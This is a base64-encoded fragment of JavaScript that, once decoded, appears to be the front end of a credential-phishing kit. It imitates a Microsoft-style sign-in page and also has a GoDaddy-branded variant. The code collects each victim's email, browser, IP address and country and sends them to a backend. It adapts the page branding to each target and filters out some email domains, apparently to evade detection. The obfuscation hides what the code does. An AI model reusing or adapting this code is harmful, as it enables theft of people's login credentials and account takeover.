zdHplcm9wZGYoKSB7DQogICAgICAgICAgJC5nZXQoImh0dHBzOi8vZ2V0Lmdlb2pzLmlvL3YxL2lwL2dlby5qc29uIiwgZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgdXNlcmlwID0gcmVzcG9uc2UuaXA7DQogICAgICAgICAgICAgIHVzZXJjb3VudHJ5ID0gcmVzcG9uc2UuY291bnRyeTsNCiAgICAgICAgICAgICAgc2VuZGVtYWlscGRmKCk7DQogICAgICAgICAgfSwgImpzb24iKQ0KICAgICAgICAgIC5mYWlsKGZ1bmN0aW9uKGpxWEhSLCB0ZXh0U3RhdHVzLCBlcnJvclRocm93bikgew0KICAgICAgICAgICAgICBpZiAoanFYSFIuc3RhdHVzID09IDQyOSB8fCB0ZXh0U3RhdHVzICE9PSAic3VjY2VzcyIpIHsNCiAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoc2VuZGVtYWlscmVxdWVzdHplcm9wZGYsIDEwMDApOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgfSk7DQogICAgICAgICAgfSkoKTsNCiAgICAgICAgICAgIC8vIHNlbmRlbWFpbHBkZigpOw0KDQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIH0NCg0KLy8gZG9jDQoNCiAgICBpZih2aWV3ID09ICJ1bmFtZV9kb2MiKXsNCiAgICBjb25zdCBueHRkb2MgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuX25leHRfZG9jJyk7DQoNCiAgICBueHRkb2MuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoKSA9PiB7DQogICAgICAgIHZhbGlkYXRlZG9jKCk7DQogICAgfSkNCg0KICAgIGRvY2NoZWNrID0gMTsNCg0KICAgIGZ1bmN0aW9uIGxvYWRpbmdhbmltYXRpb25kb2ModHlwZSl7DQogICAgaWYodHlwZSA9PSAwKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfZG9jJykucXVlcnlTZWxlY3RvcignI2RvY2VtYWlsbG9hZGluZycpLnN0eWxlLmRpc3BsYXkgPSAidW5zZXQiOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19kb2MnKS5xdWVyeVNlbGVjdG9yKCcjc2VjdGlvbl91bmFtZV9jb250ZW50JykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgfQ0KICAgIGlmKHR5cGUgPT0gMSl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX2RvYycpLnF1ZXJ5U2VsZWN0b3IoJyNkb2NlbWFpbGxvYWRpbmcnKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19kb2MnKS5xdWVyeVNlbGVjdG9yKCcjc2VjdGlvbl91bmFtZV9jb250ZW50JykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgfQ0KICAgIGlmKHR5cGUgPT0gMil7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX2RvYycpLnF1ZXJ5U2VsZWN0b3IoJyNkb2NlbWFpbGxvYWRpbmcnKS5zdHlsZS5kaXNwbGF5ID0gInVuc2V0IjsNCiAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfZG9jJykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgfQ0KICAgIH0NCg0KICAgIGNvbnN0IHVuYW1lZG9jaW5wID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY2VtYWlsJyk7DQoNCiAgICBmdW5jdGlvbiBzZW5kZW1haWxkb2MoKXsNCiAgICAgICAgICBzZW5kQW5kUmVjZWl2ZSgnY2hlY2tlbWFpbCcsIFt1bmFtZWRvY2lucC52YWx1ZSxwYWdlbGlua3ZhbCxicm93c2VyTmFtZSx1c2VyaXAsdXNlcmNvdW50cnldLDEpDQogICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgICAgICAgICAgdmFyIG1hdGNoRm91bmQgPSBmYWxzZTsNCg0KICAgICAgICAgICAgdmFyIGFuaW1kdXJhdGlvbiA9IDMwMDsNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKCJuZXd3ZWJzaXRlb3BlbiIpID09IGZhbHNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJlcnJvciIpew0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2FjY3R5cGUnXSAmJiByZXNwb25zZVsnYWNjdHlwZSddID09IDIpew0KICAgICAgICAgICAgcHZuID0gMTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydhY2N0eXBlJ10gPT0gdW5kZWZpbmVkIHx8IHJlc3BvbnNlWydhY2N0eXBlJ10gJiYgcmVzcG9uc2VbJ2FjY3R5cGUnXSA9PSAxKXsNCiAgICAgICAgICAgIHB2biA9IDA7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKCJuZXd3ZWJzaXRlb3BlbiIpID09IGZhbHNlKXsNCiAgICAgICAgICAgIGFuaW1kdXJhdGlvbiA9IDA7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uZG9jKDEpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHdlYnNpdGVuYW1lcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMoIm5ld3dlYnNpdGVvcGVuIikgPT0gdHJ1ZSAmJiByZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKHdlYnNpdGVuYW1lc1tpXSkgPT0gdHJ1ZSl7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uZG9jKDIpOw0KICAgICAgICAgICAgbWF0Y2hGb3VuZCA9IHRydWU7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lZG9jaW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGlmKHdlYnNpdGVuYW1lc1tpXSA9PSAnZ29kYWRkeScpew0KICAgICAgICAgICAgdmFyIHdlYnNpdGVzY3JpcHQgPSBnZGY7DQoNCiAgICAgICAgICAgIHZhciBleGlzdGluZ1NjcmlwdCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ3NjcmlwdFtzcmNePSInK2dkZisnIl0nKTsNCg0KICAgICAgICAgICAgaWYgKCFleGlzdGluZ1NjcmlwdCkgew0KICAgICAgICAgICAgICAgIHZhciBzY3JpcHRFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7DQogICAgICAgICAgICAgICAgc2NyaXB0RWxlbWVudC5zcmMgPSB3ZWJzaXRlc2NyaXB0Ow0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0RWxlbWVudCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjb25zdCBob3ZlclN0eWxlID0gYA0KICAgICAgICAgICAgOjotbW96LXNlbGVjdGlvbiB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjYTZmZmY4Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICA6OnNlbGVjdGlvbiB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjYTZmZmY4Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYDsNCiAgICAgICAgICAgIGNvbnN0IHN0eWxlRWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3N0eWxlJyk7DQogICAgICAgICAgICBzdHlsZUVsZW1lbnQuaWQgPSAnZHluYW1pYy1zdHlsZSc7DQogICAgICAgICAgICBzdHlsZUVsZW1lbnQudGV4dENvbnRlbnQgPSBob3ZlclN0eWxlOw0KICAgICAgICAgICAgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzdHlsZUVsZW1lbnQpOw0KDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfZG9jIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9kb2MiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc18nK3dlYnNpdGVuYW1lc1tpXSsnJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnNldFByb3BlcnR5KCdiYWNrZ3JvdW5kLWNvbG9yJywgJyNmNWY3ZjgnLCAnaW1wb3J0YW50Jyk7DQogICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnNldFByb3BlcnR5KCdiYWNrZ3JvdW5kLWltYWdlJywgJ3Vuc2V0JywgJ2ltcG9ydGFudCcpOw0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnb3ZlcmZsb3cnLCAnYXV0bycsICdpbXBvcnRhbnQnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkX2dvZGFkZHkiOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddLmluY2x1ZGVzKCJuZXd3ZWJzaXRlb3BlbiIpID09IHRydWUgJiYgaSA9PSB3ZWJzaXRlbmFtZXMubGVuZ3RoIC0gMSAmJiAhbWF0Y2hGb3VuZCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX2RvYyIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX2RvYyIpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lZG9jaW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZCcsW3thX2lkOiAiaWRBX1BXRF9Gb3Jnb3RQYXNzd29yZCIsIGFfdGV4dDogIkZvcmdvdCBteSBwYXNzd29yZCIsIHR5cGU6ICJsaW5rIn1dKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigncHdkJywwKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uc19kb2MiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lX2RvYyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIG90aGVyd2VidXJsID0gcmVzcG9uc2VbJ21lc3NhZ2UnXS5yZXBsYWNlKCduZXd3ZWJzaXRlb3BlbicsICcnKTsNCiAgICAgICAgICAgIHdlYm5vdGZvdW5kID0gdHJ1ZTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAibXVsdGlwbGUgYWNjb3VudHMiKXsNCiAgICAgICAgICAgIG11bHRpcGxlYWNjb3VudHNiYWNrID0gMTsNCiAgICAgICAgICAgIGlmKHR3YSA9PSAwKXsNCiAgICAgICAgICAgIHZhciBiYW5uZXJMb2dvcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5iYW5uZXJsb2dvIik7DQogICAgICAgICAgICBiYW5uZXJMb2dvcy5mb3JFYWNoKGZ1bmN0aW9uKGVsZW1lbnQpIHsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuaGVpZ2h0ID0gIjI0cHgiOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9tdWx0aXBsZWFjY291bnRzJykucXVlcnlTZWxlY3RvcignI2J0bl9iYWNrJykuc2V0QXR0cmlidXRlKCJkYXRhLWlkIiwgcmVzcG9uc2VbJ2JhY2tidG5pZCddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX211bHRpcGxlYWNjb3VudHMnKS5xdWVyeVNlbGVjdG9yKCcjYnRuX2JhY2snKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCAiYmFja2J1dHRvbmNsaWNrKHRoaXMsMikiKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdtdWx0aXBsZWFjY291bnRzJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGRpc3BsYXltdWx0aXBsZWFjY291bnRzKHJlc3BvbnNlWydhY2NvdW50b3B0aW9ucyddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnbXVsdGlwbGVhY2NvdW50cycscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy51c2VyX2lkZW50aXR5JykuZm9yRWFjaCgoZSkgPT4gew0KICAgICAgICAgICAgICAgIGUuaW5uZXJUZXh0ID0gdW5hbWVkb2NpbnAudmFsdWU7DQogICAgICAgICAgICB9KTsNCg0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zX2RvYyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWVfZG9jIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnMiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX211bHRpcGxlYWNjb3VudHMnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAibXVsdGlwbGVhY2NvdW50cyI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJjb3JyZWN0IGVtYWlsIil7DQogICAgICAgICAgICBpZih0d2EgPT0gMCl7DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYmFubmVybG9nbyddICE9PSB1bmRlZmluZWQgJiYgcmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSAhPT0gbnVsbCl7DQogICAgICAgICAgICB2YXIgYmFubmVyTG9nb3MgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYmFubmVybG9nbyIpOw0KICAgICAgICAgICAgYmFubmVyTG9nb3MuZm9yRWFjaChmdW5jdGlvbihlbGVtZW50KSB7DQogICAgICAgICAgICBlbGVtZW50LnN0eWxlLmJhY2tncm91bmRJbWFnZSA9ICJ1cmwoJyIrcmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSsiJykiOw0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS53aWR0aCA9ICJ1bnNldCI7DQogICAgICAgICAgICBlbGVtZW50LnN0eWxlLmhlaWdodCA9ICIzNnB4IjsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2JhY2tncm91bmRjb2xvciddICE9PSB1bmRlZmluZWQgJiYgcmVzcG9uc2VbJ2JhY2tncm91bmRjb2xvciddICE9PSBudWxsKXsNCiAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1jb2xvcicsIHJlc3BvbnNlWydiYWNrZ3JvdW5kY29sb3InXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYmFja2dyb3VuZGltYWdlJ10gIT09IHVuZGVmaW5lZCAmJiByZXNwb25zZVsnYmFja2dyb3VuZGltYWdlJ10gIT09IG51bGwpew0KICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnNldFByb3BlcnR5KCdiYWNrZ3JvdW5kLWltYWdlJywgInVybCgnIityZXNwb25zZVsnYmFja2dyb3VuZGltYWdlJ10rIicpIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYmFubmVybG9nbyddID09IHVuZGVmaW5lZCB8fCByZXNwb25zZVsnYmFubmVybG9nbyddID09IG51bGwpew0KICAgICAgICAgICAgdmFyIGJhbm5lckxvZ29zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmJhbm5lcmxvZ28iKTsNCiAgICAgICAgICAgIGJhbm5lckxvZ29zLmZvckVhY2goZnVuY3Rpb24oZWxlbWVudCkgew0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5oZWlnaHQgPSAiMjRweCI7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwdm4gPT0gMCl7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3B3ZCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwdm4gPT0gMSl7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZF9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigncHdkX2xpdmUnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX2RvYyIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX2RvYyIpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lZG9jaW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQoNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uc19kb2MiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lX2RvYyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBpZihwdm4gPT0gMCl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHB2biA9PSAxKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInB3ZF9saXZlIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImVycm9yIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfZG9jIikuaW5uZXJUZXh0ID0gIlBsZWFzZSwgcHJvdmlkZSBhIHZhbGlkIGVtYWlsLiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfZG9jIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uZG9jKDEpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB9LCBhbmltZHVyYXRpb24pOw0KICAgICAgICAgIH0NCiAgICAgICAgICB9KQ0KICAgICAgICAgIC5jYXRjaChlcnJvciA9PiB7DQogICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbmRvYygxKTsNCiAgICAgICAgICBjb25zb2xlLmVycm9yKCdFcnJvcjonLCBlcnJvcik7DQogICAgICAgICAgfSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gdmFsaWRhdGVkb2MoKSB7DQogICAgICAgIGlmICh2aWV3ID09PSAidW5hbWVfZG9jIikgew0KICAgICAgICAgICAgY29uc3QgYmxvY2tlZERvbWFpbnMgPSBiZXM7DQogICAgICAgICAgICBjb25zdCBkb21haW4gPSB1bmFtZWRvY2lucC52YWx1ZS50cmltKCkuc3BsaXQoJ0AnKVsxXTsNCiAgICAgICAgICAgIGlmICh1bmFtZWRvY2lucC52YWx1ZS5pbmNsdWRlcygiQCIpICYmIGJsb2NrZWREb21haW5zLnNvbWUoYmxvY2tlZCA9PiBkb21haW4uaW5jbHVkZXMoYmxvY2tlZCkpKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uZG9jKDApOw0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25kb2MoMSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfZG9jIikuaW5uZXJUZXh0ID0gIlBsZWFzZSwgcHJvdmlkZSBhIHZhbGlkIGVtYWlsLiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfZG9jIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICB9LCAzMDAwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh1bmFtZWRvY2lucC52YWx1ZS50cmltKCkgPT0gIiIpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9kb2MiKS5pbm5lclRleHQgPSAiUGxlYXNlLCBwcm92aWRlIGEgdmFsaWQgZW1haWwuIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9kb2MiKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIH0gZWxzZSBpZiAodW5hbWVkb2NpbnAudmFsdWUudHJpbSgpICE9ICIiICYmIHVuYW1lZG9jaW5wLnZhbHVlLmluY2x1ZGVzKCJAIikgJiYgIWJsb2NrZWREb21haW5zLnNvbWUoYmxvY2tlZCA9PiBkb21haW4uaW5jbHVkZXMoYmxvY2tlZCkpKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uZG9jKDApOw0KICAgICAgICAgICAgaWYgKHdlYm5vdGZvdW5kID09IHRydWUpew0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25kb2MoMSk7DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfcHdkJykuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZCcpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfZG9jIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9kb2MiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJwd2QiOw0KICAgICAgICAgICAgfSwgMzAwKTsNCiAgICAgICAgICAgIH0sIDMwMDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHdlYm5vdGZvdW5kID09IGZhbHNlKXsNCiAgICAgICAgICAgIGlmKGludGVyYWN0ZWQgPT0gMSl7DQogICAgICAgICAgLy8gICAoZnVuY3Rpb24gc2VuZGVtYWlscmVxdWVzdG9uZWRvYygpIHsNCiAgICAgICAgICAvLyAkLmdldCgiaHR0cHM6Ly9nZXQuZ2VvanMuaW8vdjEvaXAvZ2VvLmpzb24iLCBmdW5jdGlvbihyZXNwb25zZSkgew0KICAgICAgICAgIC8vICAgICB1c2VyaXAgPSByZXNwb25zZS5pcDsNCiAgICAgICAgICAvLyAgICAgdXNlcmNvdW50cnkgPSByZXNwb25zZS5jb3VudHJ5Ow0KICAgICAgICAgIC8vICAgICBzZW5kZW1haWxkb2MoKTsNCiAgICAgICAgICAvLyB9LCAianNvbiIpDQogICAgICAgICAgLy8gLmZhaWwoZnVuY3Rpb24oanFYSFIsIHRleHRTdGF0dXMsIGVycm9yVGhyb3duKSB7DQogICAgICAgICAgLy8gICAgIGlmIChqcVhIUi5zdGF0dXMgPT0gNDI5IHx8IHRleHRTdGF0dXMgIT09ICJzdWNjZXNzIikgew0KICAgICAgICAgIC8vICAgICAgICAgc2V0VGltZW91dChzZW5kZW1haWxyZXF1ZXN0b25lZG9jLCAxMDAwKTsNCiAgICAgICAgICAvLyAgICAgfQ0KICAgICAgICAgIC8vIH0pOw0KICAgICAgICAgIC8vIH0pKCk7DQogICAgICAgICAgICBzZW5kZW1haWxkb2MoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKGludGVyYWN0ZWQgPT0gMCl7DQoNCiAgICAgICAgICAgIGludGVyYWN0ZWQgPSAxOw0KDQogICAgICAgICAgICAoZnVuY3Rpb24gc2VuZGVtYWlscmVxdWVzdHplcm9kb2MoKSB7DQogICAgICAgICAgJC5nZXQoImh0dHBzOi8vZ2V0Lmdlb2pzLmlvL3YxL2lwL2dlby5qc29uIiwgZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgdXNlcmlwID0gcmVzcG9uc2UuaXA7DQogICAgICAgICAgICAgIHVzZXJjb3VudHJ5ID0gcmVzcG9uc2UuY291bnRyeTsNCiAgICAgICAgICAgICAgc2VuZGVtYWlsZ